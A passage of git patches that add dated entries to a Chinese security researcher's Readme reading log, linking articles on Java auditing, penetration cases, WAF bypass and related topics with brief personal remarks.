[溯源实例-从OA到某信源RCE全0day渗透](https://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247502698&idx=1&sn=5bfb3124ea5e6dde0f75a16dcc0281c7&chksm=c04d4c54f73ac54284ab70eb074cca632f177ce7af61440cf6a9a47ac17b01ad9a105d6b14e0&subscene=236&key=65a52f471bc41d13b06f820a346368bbb4e4f5342b20850e7a77c8224a338af9d3257d5f4d1f771946ff2bde8a2de3838ef166f262aa3a96f7cae7c3b2581ca8a81e130ac03a98e20269c21b3c4388ce02a40367460b5486fa035d58e7973f7e0119cab28b07861b0c03315d5c1285da188ec1b0bfbe37e35ee05af34397a18e&ascene=7&uin=ODYyODE3NzI1&devicetype=Windows+10+x64&version=6308011a&lang=zh_CN&exportkey=n_ChQIAhIQp5liK4%2FGWZqVL2Un7OelRxLgAQIE97dBBAEAAAAAAG3xIKrEpowAAAAOpnltbLcz9gKNyK89dVj01MV50uZ2yoWxvdVPBS6nWl9mhSxXxZU6TC1EzeR8twNAtjlPlR%2BlkVNUUWtnUyuEkRgAsssOTDpaTQW1DGrprZEvTAgVXo3NoSI2Wz%2F9eScz2ACkvqF2rDsjp7WCVYF2Hl06xyJpJrlMNtn8AFjdPRh2352Y5klVxQ7BEtppP0ymCCSvNXigWUp5r1efdCEt6C7IMr12jsU4QaBGzmIASwIwdPunj6oeyeww%2B27Awg4kpvYKMBxgCZR9&acctmode=0&pass_ticket=BZXHTJB745OK74KYAukYaeZngdGnH8T2IaWh7T7wSCXlPlkLM%2FrS4cixsrs5q4hv2Q3obpsbuOUcPLpKfDhtHA%3D%3D&wx_header=1&fontgear=2) **不错** + 2022/12/28 [Android 远程攻击面——WebView 攻防](https://mp.weixin.qq.com/s?__biz=MzI0Njg4NzE3MQ==&mid=2247490611&idx=1&sn=837678e428d46cddf588c8d6fc8b7dfd&chksm=e9b93a5fdeceb349357bd2cdb290ae1c31e8e63b8f3c793ee24780fb5af9b68f95812ead9f13&subscene=236&key=fe7e74d3eacd7a65828a0ce0e318fdea2e2ccd9e009a21e3e4624d8991854c06c5b6cae849bc9e4e44533463ae99a2c32dc7b3d3d085a0504aa762fdf7d10e650e04f312a4af452e290c74eb09aa3b920b4d755383b4656815d50939776dae2b1a3708ed2dc80b61f0cb947562edf2c404fdbf88353b3da1a1ce7c0bb1e146b5&ascene=7&uin=ODYyODE3NzI1&devicetype=Windows+10+x64&version=6308011a&lang=zh_CN&exportkey=n_ChQIAhIQkmMc3S%2BR4POkBz6WNBhgzhLgAQIE97dBBAEAAAAAAEt1Ay0JAV0AAAAOpnltbLcz9gKNyK89dVj0%2FvvQaNijZxhY4D5kpMxru76EYhQ6ux%2BmNJ7Yb0mAhoiwczAd6gUnkS6geo44uTYsLTCJdvSqGoJm%2BSlQc7QOaLOYE7M4J2tjl7BZZd1SDJly%2BY2r5Z%2FYGl80IKiMXYWDnQW8ghg2yu5p9x%2FqI7W0SMnmoSXYuSbFfwfBjlYDoTdQvk3PQ1qnRsRkwmFqr335CD7pLQeFal3FiaJ3JYIC%2BC8Rk6r9DGhatU5IRLe8o2EevyG35KnmpqW8&acctmode=0&pass_ticket=BZXHTJB745OK74KYAukYaeZngdGnH8T2IaWh7T7wSCU9NSOr5Ca%2Bl68ysc6dTAsgsjjNjYJt%2BpYHw6rW7dB9ag%3D%3D&wx_header=1&fontgear=2) **之后说不定遇到学习** ++ 2022/12/28 [CVE-2022-08475-DirtyPipe](https://mp.weixin.qq.com/s/irugqDGx3OdZylcSGlMfZg) **学习** From 378a2f2e002f3ae1a01fcbc90af3db7533b50752 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Thu, 29 Dec 2022 12:50:12 +0800 Subject: [PATCH 158/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 2 ++ 1 file changed, 2 insertions(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index d230a63..49fb0c7 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -230,3 +230,5 @@ + 2022/12/28 [溯源实例-从OA到某信源RCE全0day渗透](https://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247502698&idx=1&sn=5bfb3124ea5e6dde0f75a16dcc0281c7&chksm=c04d4c54f73ac54284ab70eb074cca632f177ce7af61440cf6a9a47ac17b01ad9a105d6b14e0&subscene=236&key=65a52f471bc41d13b06f820a346368bbb4e4f5342b20850e7a77c8224a338af9d3257d5f4d1f771946ff2bde8a2de3838ef166f262aa3a96f7cae7c3b2581ca8a81e130ac03a98e20269c21b3c4388ce02a40367460b5486fa035d58e7973f7e0119cab28b07861b0c03315d5c1285da188ec1b0bfbe37e35ee05af34397a18e&ascene=7&uin=ODYyODE3NzI1&devicetype=Windows+10+x64&version=6308011a&lang=zh_CN&exportkey=n_ChQIAhIQp5liK4%2FGWZqVL2Un7OelRxLgAQIE97dBBAEAAAAAAG3xIKrEpowAAAAOpnltbLcz9gKNyK89dVj01MV50uZ2yoWxvdVPBS6nWl9mhSxXxZU6TC1EzeR8twNAtjlPlR%2BlkVNUUWtnUyuEkRgAsssOTDpaTQW1DGrprZEvTAgVXo3NoSI2Wz%2F9eScz2ACkvqF2rDsjp7WCVYF2Hl06xyJpJrlMNtn8AFjdPRh2352Y5klVxQ7BEtppP0ymCCSvNXigWUp5r1efdCEt6C7IMr12jsU4QaBGzmIASwIwdPunj6oeyeww%2B27Awg4kpvYKMBxgCZR9&acctmode=0&pass_ticket=BZXHTJB745OK74KYAukYaeZngdGnH8T2IaWh7T7wSCXlPlkLM%2FrS4cixsrs5q4hv2Q3obpsbuOUcPLpKfDhtHA%3D%3D&wx_header=1&fontgear=2) **不错** + 2022/12/28 [Android 远程攻击面——WebView 攻防](https://mp.weixin.qq.com/s?__biz=MzI0Njg4NzE3MQ==&mid=2247490611&idx=1&sn=837678e428d46cddf588c8d6fc8b7dfd&chksm=e9b93a5fdeceb349357bd2cdb290ae1c31e8e63b8f3c793ee24780fb5af9b68f95812ead9f13&subscene=236&key=fe7e74d3eacd7a65828a0ce0e318fdea2e2ccd9e009a21e3e4624d8991854c06c5b6cae849bc9e4e44533463ae99a2c32dc7b3d3d085a0504aa762fdf7d10e650e04f312a4af452e290c74eb09aa3b920b4d755383b4656815d50939776dae2b1a3708ed2dc80b61f0cb947562edf2c404fdbf88353b3da1a1ce7c0bb1e146b5&ascene=7&uin=ODYyODE3NzI1&devicetype=Windows+10+x64&version=6308011a&lang=zh_CN&exportkey=n_ChQIAhIQkmMc3S%2BR4POkBz6WNBhgzhLgAQIE97dBBAEAAAAAAEt1Ay0JAV0AAAAOpnltbLcz9gKNyK89dVj0%2FvvQaNijZxhY4D5kpMxru76EYhQ6ux%2BmNJ7Yb0mAhoiwczAd6gUnkS6geo44uTYsLTCJdvSqGoJm%2BSlQc7QOaLOYE7M4J2tjl7BZZd1SDJly%2BY2r5Z%2FYGl80IKiMXYWDnQW8ghg2yu5p9x%2FqI7W0SMnmoSXYuSbFfwfBjlYDoTdQvk3PQ1qnRsRkwmFqr335CD7pLQeFal3FiaJ3JYIC%2BC8Rk6r9DGhatU5IRLe8o2EevyG35KnmpqW8&acctmode=0&pass_ticket=BZXHTJB745OK74KYAukYaeZngdGnH8T2IaWh7T7wSCU9NSOr5Ca%2Bl68ysc6dTAsgsjjNjYJt%2BpYHw6rW7dB9ag%3D%3D&wx_header=1&fontgear=2) **之后说不定遇到学习** + 2022/12/28 [CVE-2022-08475-DirtyPipe](https://mp.weixin.qq.com/s/irugqDGx3OdZylcSGlMfZg) **学习** ++ 2022/12/29 [SpringBoot 过滤器、拦截器、监听器对比及使用场景](https://mp.weixin.qq.com/s?__biz=MzU4MDUyMDQyNQ==&mid=2247512806&idx=1&sn=318c6db2e1d16c5d9521ce9b9a2fb2ac&chksm=fd576260ca20eb76728e35c1f117aa1d061c1bb018bed5f9395ca8bb44aa86acae73d0320371&mpshare=1&scene=23&srcid=122980IZlDnN4Gzh8Mca6QxM&sharer_sharetime=1672286098025&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) ++ 2022/12/29 [看图识WAF-搜集常见WAF拦截页面](https://mp.weixin.qq.com/s?__biz=MzU1NjgzOTAyMg==&mid=2247505571&idx=2&sn=455e76881cf5f069527c3ca6848093fe&chksm=fc3c6fa2cb4be6b4f6aaa14d3d927daa243ea5097f380f85feab844eb617a5d720372275fedb&mpshare=1&scene=23&srcid=1229yAzgrWljKcryXoK9hoVh&sharer_sharetime=1672281327599&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **收集学习** From 915aa84993cf6fa5b3aa5a9818e93b468b7b008f Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 2 Jan 2023 00:20:16 +0800 Subject: [PATCH 159/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 3 +++ 1 file changed, 3 insertions(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 49fb0c7..603f323 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -232,3 +232,6 @@ + 2022/12/28 [CVE-2022-08475-DirtyPipe](https://mp.weixin.qq.com/s/irugqDGx3OdZylcSGlMfZg) **学习** + 2022/12/29 [SpringBoot 过滤器、拦截器、监听器对比及使用场景](https://mp.weixin.qq.com/s?__biz=MzU4MDUyMDQyNQ==&mid=2247512806&idx=1&sn=318c6db2e1d16c5d9521ce9b9a2fb2ac&chksm=fd576260ca20eb76728e35c1f117aa1d061c1bb018bed5f9395ca8bb44aa86acae73d0320371&mpshare=1&scene=23&srcid=122980IZlDnN4Gzh8Mca6QxM&sharer_sharetime=1672286098025&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) + 2022/12/29 [看图识WAF-搜集常见WAF拦截页面](https://mp.weixin.qq.com/s?__biz=MzU1NjgzOTAyMg==&mid=2247505571&idx=2&sn=455e76881cf5f069527c3ca6848093fe&chksm=fc3c6fa2cb4be6b4f6aaa14d3d927daa243ea5097f380f85feab844eb617a5d720372275fedb&mpshare=1&scene=23&srcid=1229yAzgrWljKcryXoK9hoVh&sharer_sharetime=1672281327599&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **收集学习** + +## 2023 ++ 2023/01/01 [一文详解｜如何写出优雅的代码](https://developer.aliyun.com/article/1117703) **新年第一篇 冲冲冲！！！！！** From 7f0ca5f8a3fb33ddf178cf4032d9cf6e75eb3044 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 2 Jan 2023 00:22:21 +0800 Subject: [PATCH 160/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 603f323..a28942e 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -232,6 +232,7 @@ + 2022/12/28 [CVE-2022-08475-DirtyPipe](https://mp.weixin.qq.com/s/irugqDGx3OdZylcSGlMfZg) **学习** + 2022/12/29 [SpringBoot 过滤器、拦截器、监听器对比及使用场景](https://mp.weixin.qq.com/s?__biz=MzU4MDUyMDQyNQ==&mid=2247512806&idx=1&sn=318c6db2e1d16c5d9521ce9b9a2fb2ac&chksm=fd576260ca20eb76728e35c1f117aa1d061c1bb018bed5f9395ca8bb44aa86acae73d0320371&mpshare=1&scene=23&srcid=122980IZlDnN4Gzh8Mca6QxM&sharer_sharetime=1672286098025&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) + 2022/12/29 [看图识WAF-搜集常见WAF拦截页面](https://mp.weixin.qq.com/s?__biz=MzU1NjgzOTAyMg==&mid=2247505571&idx=2&sn=455e76881cf5f069527c3ca6848093fe&chksm=fc3c6fa2cb4be6b4f6aaa14d3d927daa243ea5097f380f85feab844eb617a5d720372275fedb&mpshare=1&scene=23&srcid=1229yAzgrWljKcryXoK9hoVh&sharer_sharetime=1672281327599&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **收集学习** ++ 2022/12/31 嗯其实没有看什么文章主要是在写代码,还是假装记录一下。新年快乐！！！ ## 2023 + 2023/01/01 [一文详解｜如何写出优雅的代码](https://developer.aliyun.com/article/1117703) **新年第一篇 冲冲冲！！！！！** From 8e0db0695dc943634bea02e9063ed249f550d5c0 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 2 Jan 2023 19:07:54 +0800 Subject: [PATCH 161/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index a28942e..db8701a 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -236,3 +236,4 @@ ## 2023 + 2023/01/01 [一文详解｜如何写出优雅的代码](https://developer.aliyun.com/article/1117703) **新年第一篇 冲冲冲！！！！！** ++ 2023/01/02 [华为云CTF cloud非预期解之k8s渗透实战](https://annevi.cn/2020/12/21/%e5%8d%8e%e4%b8%ba%e4%ba%91ctf-cloud%e9%9d%9e%e9%a2%84%e6%9c%9f%e8%a7%a3%e4%b9%8bk8s%e6%b8%97%e9%80%8f%e5%ae%9e%e6%88%98/) **学习** From 3c6df7884f3ddf7dfccc922265c17a8e53725064 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 4 Jan 2023 15:37:54 +0800 Subject: [PATCH 162/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index db8701a..dd3a96a 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -237,3 +237,4 @@ ## 2023 + 2023/01/01 [一文详解｜如何写出优雅的代码](https://developer.aliyun.com/article/1117703) **新年第一篇 冲冲冲！！！！！** + 2023/01/02 [华为云CTF cloud非预期解之k8s渗透实战](https://annevi.cn/2020/12/21/%e5%8d%8e%e4%b8%ba%e4%ba%91ctf-cloud%e9%9d%9e%e9%a2%84%e6%9c%9f%e8%a7%a3%e4%b9%8bk8s%e6%b8%97%e9%80%8f%e5%ae%9e%e6%88%98/) **学习** ++ 2023/01/04 [Soot 静态分析框架（五）Annotation 的实现](https://blog.csdn.net/raintungli/article/details/102634829) **soot中存在api直接调用注解信息** From 027907f5030360b5a5931aa76146f86673d4b566 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 8 Jan 2023 12:58:13 +0800 Subject: [PATCH 163/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index dd3a96a..6abcd75 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -238,3 +238,4 @@ + 2023/01/01 [一文详解｜如何写出优雅的代码](https://developer.aliyun.com/article/1117703) **新年第一篇 冲冲冲！！！！！** + 2023/01/02 [华为云CTF cloud非预期解之k8s渗透实战](https://annevi.cn/2020/12/21/%e5%8d%8e%e4%b8%ba%e4%ba%91ctf-cloud%e9%9d%9e%e9%a2%84%e6%9c%9f%e8%a7%a3%e4%b9%8bk8s%e6%b8%97%e9%80%8f%e5%ae%9e%e6%88%98/) **学习** + 2023/01/04 [Soot 静态分析框架（五）Annotation 的实现](https://blog.csdn.net/raintungli/article/details/102634829) **soot中存在api直接调用注解信息** ++ 2023/01/08 [浅谈Nacos漏洞之超管权限后续利用](https://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247495724&idx=2&sn=dcc0629faaf7379bba94a34937db3358&chksm=c1760d83f6018495787c8c4e747f2507ae50ffc7d3fb318ac45892dd1b216b70e942b74259e1&mpshare=1&scene=23&srcid=0107IDEenH2fh5g0656NUtgL&sharer_sharetime=1673107217827&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) From 4ffc6062320dfec42e32b3cd4c2085057a8da64c Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 8 Jan 2023 15:36:02 +0800 Subject: [PATCH 164/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 6abcd75..b00662c 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -239,3 +239,4 @@ + 2023/01/02 [华为云CTF cloud非预期解之k8s渗透实战](https://annevi.cn/2020/12/21/%e5%8d%8e%e4%b8%ba%e4%ba%91ctf-cloud%e9%9d%9e%e9%a2%84%e6%9c%9f%e8%a7%a3%e4%b9%8bk8s%e6%b8%97%e9%80%8f%e5%ae%9e%e6%88%98/) **学习** + 2023/01/04 [Soot 静态分析框架（五）Annotation 的实现](https://blog.csdn.net/raintungli/article/details/102634829) **soot中存在api直接调用注解信息** + 2023/01/08 [浅谈Nacos漏洞之超管权限后续利用](https://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247495724&idx=2&sn=dcc0629faaf7379bba94a34937db3358&chksm=c1760d83f6018495787c8c4e747f2507ae50ffc7d3fb318ac45892dd1b216b70e942b74259e1&mpshare=1&scene=23&srcid=0107IDEenH2fh5g0656NUtgL&sharer_sharetime=1673107217827&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) ++ 2023/01/08 [【Java 代码审计入门-06】文件包含漏洞原理与实际案例介绍](https://www.cnpanda.net/codeaudit/1037.html) From 3447aabfc31e1387637e5714a78ba6d6921f1fc6 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 8 Jan 2023 22:06:36 +0800 Subject: [PATCH 165/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index b00662c..5eac817 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -240,3 +240,4 @@ + 2023/01/04 [Soot 静态分析框架（五）Annotation 的实现](https://blog.csdn.net/raintungli/article/details/102634829) **soot中存在api直接调用注解信息** + 2023/01/08 [浅谈Nacos漏洞之超管权限后续利用](https://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247495724&idx=2&sn=dcc0629faaf7379bba94a34937db3358&chksm=c1760d83f6018495787c8c4e747f2507ae50ffc7d3fb318ac45892dd1b216b70e942b74259e1&mpshare=1&scene=23&srcid=0107IDEenH2fh5g0656NUtgL&sharer_sharetime=1673107217827&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) + 2023/01/08 [【Java 代码审计入门-06】文件包含漏洞原理与实际案例介绍](https://www.cnpanda.net/codeaudit/1037.html) ++ 2023/01/08 [第45篇：weblogic反序列化漏洞绕waf方法总结，2017-10271与2019-2725漏洞绕waf防护](https://mp.weixin.qq.com/s/8hUYRYoAqjthqgBI_zn9ZA) **weblogic中可以使用编码绕过** From a47eca2bf38bf0fe3859626c0d1b6aa69d0a8986 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 9 Jan 2023 19:25:40 +0800 Subject: [PATCH 166/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 5eac817..42c3703 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -241,3 +241,4 @@ + 2023/01/08 [浅谈Nacos漏洞之超管权限后续利用](https://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247495724&idx=2&sn=dcc0629faaf7379bba94a34937db3358&chksm=c1760d83f6018495787c8c4e747f2507ae50ffc7d3fb318ac45892dd1b216b70e942b74259e1&mpshare=1&scene=23&srcid=0107IDEenH2fh5g0656NUtgL&sharer_sharetime=1673107217827&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) + 2023/01/08 [【Java 代码审计入门-06】文件包含漏洞原理与实际案例介绍](https://www.cnpanda.net/codeaudit/1037.html) + 2023/01/08 [第45篇：weblogic反序列化漏洞绕waf方法总结，2017-10271与2019-2725漏洞绕waf防护](https://mp.weixin.qq.com/s/8hUYRYoAqjthqgBI_zn9ZA) **weblogic中可以使用编码绕过** ++ 2023/01/09 [调教某数字杀软，权限维持so easy](https://mp.weixin.qq.com/s/IYGon3X4-cQwnwwb1WZWww) **现在还看不懂！** From 492fea085d8fc25314e9f6842c0b06defb20156f Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 9 Jan 2023 19:31:44 +0800 Subject: [PATCH 167/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 42c3703..92a0bac 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -242,3 +242,4 @@ + 2023/01/08 [【Java 代码审计入门-06】文件包含漏洞原理与实际案例介绍](https://www.cnpanda.net/codeaudit/1037.html) + 2023/01/08 [第45篇：weblogic反序列化漏洞绕waf方法总结，2017-10271与2019-2725漏洞绕waf防护](https://mp.weixin.qq.com/s/8hUYRYoAqjthqgBI_zn9ZA) **weblogic中可以使用编码绕过** + 2023/01/09 [调教某数字杀软，权限维持so easy](https://mp.weixin.qq.com/s/IYGon3X4-cQwnwwb1WZWww) **现在还看不懂！** ++ 2023/01/09 [玩转CodeQLpy之代码审计实战案例](https://mp.weixin.qq.com/s?__biz=MzkzNjMxNDM0Mg==&mid=2247485587&idx=1&sn=70b400682976cf82fc1d41fceba7e76e&chksm=c2a1dc1af5d6550c7b5b19b8810ede0bb920c7dad168ac3db3c9cbedfc6e2d4b29a3b42144e6&mpshare=1&scene=23&srcid=01064grkrTL43aUSw4HyhlEh&sharer_sharetime=1673004615548&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **可以试一试自己的VI能不能扫描出来** From 7b5746db08c0ff9e249a5211751cc8a0ddd137d5 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Tue, 10 Jan 2023 13:07:24 +0800 Subject: [PATCH 168/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 92a0bac..c244a14 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -243,3 +243,4 @@ + 2023/01/08 [第45篇：weblogic反序列化漏洞绕waf方法总结，2017-10271与2019-2725漏洞绕waf防护](https://mp.weixin.qq.com/s/8hUYRYoAqjthqgBI_zn9ZA) **weblogic中可以使用编码绕过** + 2023/01/09 [调教某数字杀软，权限维持so easy](https://mp.weixin.qq.com/s/IYGon3X4-cQwnwwb1WZWww) **现在还看不懂！** + 2023/01/09 [玩转CodeQLpy之代码审计实战案例](https://mp.weixin.qq.com/s?__biz=MzkzNjMxNDM0Mg==&mid=2247485587&idx=1&sn=70b400682976cf82fc1d41fceba7e76e&chksm=c2a1dc1af5d6550c7b5b19b8810ede0bb920c7dad168ac3db3c9cbedfc6e2d4b29a3b42144e6&mpshare=1&scene=23&srcid=01064grkrTL43aUSw4HyhlEh&sharer_sharetime=1673004615548&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **可以试一试自己的VI能不能扫描出来** ++ 2023/01/10 [为什么你抓不到baidu的数据](https://mp.weixin.qq.com/s?__biz=MzUzNTY5MzU2MA==&mid=2247497288&idx=1&sn=1d634021528643c2f71e7cbf4dd7a0f7&chksm=fa8327dfcdf4aec9f798046e38ed5918d2df937c1ba7b7729c08e31b4c5c23cd13023c1c08f6&mpshare=1&scene=23&srcid=0110jBzdFMNuglOyMZh5teWu&sharer_sharetime=1673322185390&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **好牛皮啊** From 48388de1dd14e9ed247b7479091471ab5a2ffdb3 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Tue, 10 Jan 2023 15:00:27 +0800 Subject: [PATCH 169/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index c244a14..2db8cc4 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -244,3 +244,4 @@ + 2023/01/09 [调教某数字杀软，权限维持so easy](https://mp.weixin.qq.com/s/IYGon3X4-cQwnwwb1WZWww) **现在还看不懂！** + 2023/01/09 [玩转CodeQLpy之代码审计实战案例](https://mp.weixin.qq.com/s?__biz=MzkzNjMxNDM0Mg==&mid=2247485587&idx=1&sn=70b400682976cf82fc1d41fceba7e76e&chksm=c2a1dc1af5d6550c7b5b19b8810ede0bb920c7dad168ac3db3c9cbedfc6e2d4b29a3b42144e6&mpshare=1&scene=23&srcid=01064grkrTL43aUSw4HyhlEh&sharer_sharetime=1673004615548&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **可以试一试自己的VI能不能扫描出来** + 2023/01/10 [为什么你抓不到baidu的数据](https://mp.weixin.qq.com/s?__biz=MzUzNTY5MzU2MA==&mid=2247497288&idx=1&sn=1d634021528643c2f71e7cbf4dd7a0f7&chksm=fa8327dfcdf4aec9f798046e38ed5918d2df937c1ba7b7729c08e31b4c5c23cd13023c1c08f6&mpshare=1&scene=23&srcid=0110jBzdFMNuglOyMZh5teWu&sharer_sharetime=1673322185390&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **好牛皮啊** ++ 2023/01/10 [EL表达式支持Lambda](http://aducode.github.io/posts/2015-07-14/hook_tomcat_el_expression.html) **np** From 29282c0611bcaac3f9a68f98850115175f842c82 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Tue, 10 Jan 2023 19:57:19 +0800 Subject: [PATCH 170/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 2db8cc4..55dbdf9 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -245,3 +245,4 @@ + 2023/01/09 [玩转CodeQLpy之代码审计实战案例](https://mp.weixin.qq.com/s?__biz=MzkzNjMxNDM0Mg==&mid=2247485587&idx=1&sn=70b400682976cf82fc1d41fceba7e76e&chksm=c2a1dc1af5d6550c7b5b19b8810ede0bb920c7dad168ac3db3c9cbedfc6e2d4b29a3b42144e6&mpshare=1&scene=23&srcid=01064grkrTL43aUSw4HyhlEh&sharer_sharetime=1673004615548&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **可以试一试自己的VI能不能扫描出来** + 2023/01/10 [为什么你抓不到baidu的数据](https://mp.weixin.qq.com/s?__biz=MzUzNTY5MzU2MA==&mid=2247497288&idx=1&sn=1d634021528643c2f71e7cbf4dd7a0f7&chksm=fa8327dfcdf4aec9f798046e38ed5918d2df937c1ba7b7729c08e31b4c5c23cd13023c1c08f6&mpshare=1&scene=23&srcid=0110jBzdFMNuglOyMZh5teWu&sharer_sharetime=1673322185390&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **好牛皮啊** + 2023/01/10 [EL表达式支持Lambda](http://aducode.github.io/posts/2015-07-14/hook_tomcat_el_expression.html) **np** ++ 2023/01/10 [HashSet 对象去重复处理](https://blog.csdn.net/wangjie1616/article/details/78416551) **去除重复的对象也可以使用commons.lang这个包来判断** From ca66b589a30f06cee34ec0dac038910dfaf92ca7 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 11 Jan 2023 13:33:12 +0800 Subject: [PATCH 171/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 55dbdf9..bf7acba 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -246,3 +246,4 @@ + 2023/01/10 